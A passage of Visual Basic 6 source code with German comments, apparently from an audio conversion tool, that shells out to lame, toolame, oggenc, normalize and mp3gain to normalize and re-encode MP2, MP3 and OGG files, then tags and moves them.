  552.                    cmd = """" + App.Path + "\tools\toolame.exe""" + " """ + frmMain.work.Text + "temp.wav"" " + """" + frmMain.work.Text + filename + ".mp2"" " + MP2cbrparameter
  553.                     Call DShell.shellwait(cmd, allgemeine.showdos.Value) 'Dos-Befehle ausf?hren
  554.                Else
  555.                     frmMain.encoderset.Caption = "VBR " + MP2cbrmenu.cbrbitrate.Text 'Infofenster
  556.                    cmd = """" + App.Path + "\tools\toolame.exe""" + " """ + frmMain.work.Text + "temp.wav"" " + """" + frmMain.work.Text + filename + ".mp2"" " + MP2vbrparameter
  557.                     Call DShell.shellwait(cmd, allgemeine.showdos.Value) 'Dos-Befehle ausf?hren
  558.                End If
  559.             End If
  560.         End If
  561.        
  562.         If extension = "ogg" Then
  563.             ' hier startet lame (mp2 in temp.wav)
  564.            cmd = """" + App.Path + "\tools\lame.exe""" + " --decode --priority " + shell_prio + " """ + file + """ """ + frmMain.work.Text + "temp.wav""" 'Dos-Befehl bilden
  565.            Call DShell.shellwait(cmd, allgemeine.showdos.Value) 'Dos-Befehle ausf?hren
  566.                
  567.             If Aktivierauswahl.oggnormal_aktiv.Value = "1" Then
  568.                 frmMain.normset.Caption = " Normalize" 'Infofenster
  569.                    
  570.                 If normal.prozenable.Value = "1" Then
  571.                     frmMain.normset.Caption = frmMain.normset.Caption + " ,auto ," + Str$(normal.peakprozslider.CurPosition) + "%" 'Infofenster
  572.                Else
  573.                     frmMain.normset.Caption = frmMain.normset.Caption + " ,constant ," + Str$(normal.peakdbslider.CurPosition) + "db" 'Infofenster
  574.                End If
  575.                    
  576.                 ' hier startet normalisierung
  577.                cmd = """" + App.Path + "\tools\" + "normalize.exe """ + normoptions + " """ + frmMain.work.Text + "temp.wav""" 'Dos-Befehl bilden
  578.                Call DShell.shellwait(cmd, allgemeine.showdos.Value) 'Dos-Befehle ausf?hren
  579.            End If
  580.                
  581.             'R?ckkonvertierung
  582.            cmd = """" + App.Path + "\tools\oggenc.exe""" + " """ + frmMain.work.Text + "temp.wav"" " + OGGparameter
  583.             Call DShell.shellwait(cmd, allgemeine.showdos.Value) 'Dos-Befehle ausf?hren
  584.            Call Werkzeuge.IsFileOpen(frmMain.work.Text + "temp.ogg")
  585.             Name frmMain.work.Text + "temp.ogg" As frmMain.work.Text + filename + ".ogg"
  586.         End If
  587.        
  588.         If extension = "mp3" Then
  589.             If Aktivierauswahl.mp3normal_aktiv.Value = "1" Then 'wenn normalisierung (normalize) aktiviert
  590.                frmMain.normset.Caption = " Normalize" 'Infofenster
  591.                
  592.                 If normal.prozenable.Value = "1" Then
  593.                     frmMain.normset.Caption = frmMain.normset.Caption + " ,auto ," + Str$(normal.peakprozslider.CurPosition) + "%" 'Infofenster
  594.                Else
  595.                     frmMain.normset.Caption = frmMain.normset.Caption + " ,constant ," + Str$(normal.peakdbslider.CurPosition) + "db" 'Infofenster
  596.                End If
  597.                
  598.                 ' hier startet lame (mp2 in temp.wav)
  599.                cmd = """" + App.Path + "\tools\lame.exe""" + " --decode --priority " + shell_prio + " """ + file + """ """ + frmMain.work.Text + "temp.wav""" 'Dos-Befehl bilden
  600.                Call DShell.shellwait(cmd, allgemeine.showdos.Value) 'Dos-Befehle ausf?hren
  601.                
  602.                 ' hier startet normalisierung
  603.                cmd = """" + App.Path + "\tools\" + "normalize.exe """ + normoptions + " """ + frmMain.work.Text + "temp.wav""" 'Dos-Befehl bilden
  604.                Call DShell.shellwait(cmd, allgemeine.showdos.Value) 'Dos-Befehle ausf?hren
  605.                temppfad = """" + frmMain.work.Text + "temp.wav"" """ + frmMain.work.Text + filename + "." + extension + """ " 'wenn normalisierung aktiviert
  606.            Else
  607.                 temppfad = """" + file + """ """ + frmMain.work.Text + filename + "." + extension + """ " 'wenn normalisierung (normalize) deaktiviert
  608.            End If
  609.            
  610.             'Hier wird Lame gestartet
  611.            If Aktivierauswahl.mp3_cbr_aktiv.Value = "1" Then 'CBR verwenden
  612.                frmMain.encoderset.Caption = "CBR " + MP3cbrmenu.cbrbitrate.Text 'Infofenster
  613.                cmd = """" + App.Path + "\tools\lame.exe"" " + temppfad + MP3cbrparameter    'Dos-Befehl bilden
  614.                Call DShell.shellwait(cmd, allgemeine.showdos.Value) 'Dos-Befehle ausf?hren
  615.            End If
  616.            
  617.             If Aktivierauswahl.mp3_vbr_aktiv.Value = "1" Then 'VBR verwenden
  618.                frmMain.encoderset.Caption = "VBR " + MP3vbrmenu.minbit.Text + "/" + MP3vbrmenu.maxbit.Text 'Infofenster
  619.                cmd = """" + App.Path + "\tools\lame.exe"" " + temppfad + MP3vbrparameter  'Dos-Befehl bilden
  620.                Call DShell.shellwait(cmd, allgemeine.showdos.Value) 'Dos-Befehle ausf?hren
  621.            End If
  622.                
  623.             If Aktivierauswahl.mp3_abr_aktiv.Value = "1" Then 'ABR verwenden
  624.                frmMain.encoderset.Caption = "ABR " + MP3abrmenu.abrbitrate.Text 'Infofenster
  625.                cmd = """" + App.Path + "\tools\lame.exe"" " + temppfad + MP3abrparameter   'Dos-Befehl bilden
  626.                Call DShell.shellwait(cmd, allgemeine.showdos.Value) 'Dos-Befehle ausf?hren
  627.            End If
  628.            
  629.             'MP3-Gain (mp3 normalisierung)
  630.            If Aktivierauswahl.mp3gain_aktiv.Value = "1" Then
  631.                 frmMain.normset.Caption = " MP3-Gain" 'Infofenster
  632.    
  633.                 If mp3gain.auto.Value = "1" Then
  634.                     frmMain.normset.Caption = frmMain.normset.Caption + " ,auto" 'Infofenster
  635.                Else
  636.                     frmMain.normset.Caption = frmMain.normset.Caption + " ,constant ," + Str$(mp3gain.Slider1.CurPosition) + "db" 'Infofenster
  637.                End If
  638.                
  639.                 cmd = """" + App.Path + "\tools\mp3gain.exe""" + mp3gainstring + """" + frmMain.work.Text + filename + "." + extension + """" 'Dos-Befehl bilden
  640.                Call DShell.shellwait(cmd, allgemeine.showdos.Value) 'Dos-Befehle ausf?hren
  641.            End If
  642.         End If
  643.        
  644.         frmMain.mp3size.Caption = Format(FileLen(frmMain.work.Text + filename + "." + extension) / 1024, "0.0") + "kb"
  645.         quellfile = frmMain.work.Text + filename + "." + extension 'Tempquellfile wird bestimmt
  646.        If LenB(Dir$(frmMain.work.Text + eigeneplaylist, vbDirectory)) <> 0 Then Kill (frmMain.work.Text + eigeneplaylist) 'wenn alte "normale" playlist dann l?schen
  647.        konvertieren = quellfile
  648.        
  649.         If extension = "mp2" Or extension = "mp3" Then
  650.             Set genie = frmMain.AudioGenie
  651.             genie.ID3v2EncodeSettings = frmMain.encoderset.Caption + frmMain.normset.Caption 'Encodersettings
  652.            genie.SaveID3v2ToFile (konvertieren)
  653.             Set genie = Nothing
  654.         End If
  655.        
  656.         If FileLen(konvertieren) < tagging.delsize(0).CurPosition Then
  657.             If LenB(Dir$(konvertieren, vbDirectory)) <> 0 Then Kill konvertieren
  658.             Call Ausgabe.textbox(filename + ".mp2......Filesize problem / deleted")
  659.             konvertieren = "error"
  660.         End If
  661.        
  662.         Set DShell = Nothing
  663.        
  664.         Exit Function
  665. fehler:
  666.         Call Ausgabe.textbox("Unknown problem / trying next file")
  667.         konvertieren = "error"
  668. End Function
  669. Private Sub untagged(quellfile As String, verzeichnis As String, akttime As Date, aktdate As Date, file As String, anzahl As Integer, upperlimit As Integer)
  670.     Call file_speichern.untaggedspeichern(quellfile, verzeichnis, akttime, aktdate) 'File verschieben
  671.    If allgemeine.quelldel.Value = "1" And LenB(Dir$(file, vbDirectory)) <> 0 Then Kill (file) 'quelldateien werden gel?scht
  672.    frmMain.statuscon.Value = (100 / upperlimit) * anzahl 'statusbar wird aktualisiert
  673. End Sub
  674. Private Sub tagged(quellfile As String, temppfad As String, file As String, akttime As Date, aktdate As Date, anzahl As Integer, upperlimit As Integer)
  675.     Call file_speichern.taggedspeichern(quellfile, temppfad, akttime, aktdate) 'File verschieben
  676.    frmMain.statuscon.Value = (100 / upperlimit) * anzahl 'statusbar wird aktualisiert
  677.    If allgemeine.quelldel.Value = "1" And LenB(Dir$(file, vbDirectory)) <> 0 Then Kill (file) 'quelldateien werden gel?scht
  678. End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!